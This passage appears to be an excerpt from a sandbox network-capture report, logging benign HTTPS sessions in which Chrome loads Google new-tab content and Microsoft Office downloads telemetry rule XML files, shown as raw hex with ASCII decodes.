2024-11-20 22:12:32 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIkMrNAQi5ys0BCKLRzQEIitPNAQik1s0BCPTWzQEIp9jNAQj5wNQVGPXJzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 22:12:33 UTC	1018	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 22:12:33 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 22:12:33 UTC	372	IN	Data Raw: 31 66 34 30 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1f40)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-20 22:12:33 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-20 22:12:33 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-20 22:12:33 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-20 22:12:33 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-20 22:12:33 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 34 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700242,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-20 22:12:33 UTC	686	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-20 22:12:33 UTC	399	IN	Data Raw: 31 38 38 0d 0a 59 64 3b 5f 2e 50 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 51 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 Data Ascii: 188Yd;_.Pd\u003dfunction(a){return a\u003d\u003dnull?a:Number.isFinite(a)?a\|0:void 0};_.Qd\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Numb
2024-11-20 22:12:33 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b Data Ascii: 8000#html\",{createHTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};
2024-11-20 22:12:33 UTC	1390	IN	Data Raw: 6c 65 2c 70 65 2c 68 65 3b 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 68 65 28 5f 2e 69 65 28 61 29 29 3a 66 65 7c 7c 28 66 65 5c 75 30 30 33 64 6e 65 77 20 68 65 29 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 Data Ascii: le,pe,he;_.je\u003dfunction(a){return a?new he(_.ie(a)):fe\|\|(fe\u003dnew he)};_.ke\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getEle

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49731	172.217.21.36	443	7468	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:32 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 22:12:33 UTC	933	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 22:12:33 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 22:12:33 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-20 22:12:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:32 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:33 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 367ebca4-601e-0070-6762-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221233Z-178bfbc474bwh9gmhC1NYCy3rs00000000hg00000000yb37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:32 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221233Z-r1d97b99577brct2hC1TEBambg0000000370000000005uby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:33 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:33 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221233Z-178bfbc474bfw4gbhC1NYCunf400000000kg00000000hu0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:33 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:33 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:33 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221233Z-r1d97b99577sdxndhC1TEBec5n00000009m000000000f0bn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:33 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
